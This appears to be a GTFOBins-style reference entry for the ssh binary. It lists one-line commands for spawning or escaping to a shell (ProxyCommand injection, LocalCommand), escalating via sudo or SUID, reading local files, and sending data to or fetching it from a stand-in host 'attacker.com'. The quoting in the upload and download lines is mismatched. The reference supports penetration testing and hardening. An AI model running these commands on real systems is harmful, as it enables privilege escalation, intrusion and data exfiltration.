Shell

This executable can spawn an interactive system shell.
  1. CommentReconnecting may help bypassing restricted shells.
    This function can be performed by any unprivileged user.
    ssh localhost /bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ssh localhost /bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    ssh localhost /bin/sh
  2. This function can be performed by any unprivileged user.
    ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
  3. CommentSpawn the shell on the client, but still requires a successful remote connection.
    This function can be performed by any unprivileged user.
    ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost

File read

This executable can read data from local files.
  1. CommentThe read file content is corrupted by error prints.
    This function can be performed by any unprivileged user.
    ssh -F /path/to/input-file x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ssh -F /path/to/input-file x
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    ssh -F /path/to/input-file x

Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
    ReceiverAn SSH server can be used on the attacker box to receive the data.

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    ssh user@attacker.com 'cat /path/to/input-file"
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ssh user@attacker.com 'cat /path/to/input-file"
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    ssh user@attacker.com 'cat /path/to/input-file"
    SenderAn SSH server can be used on the attacker box to send the data.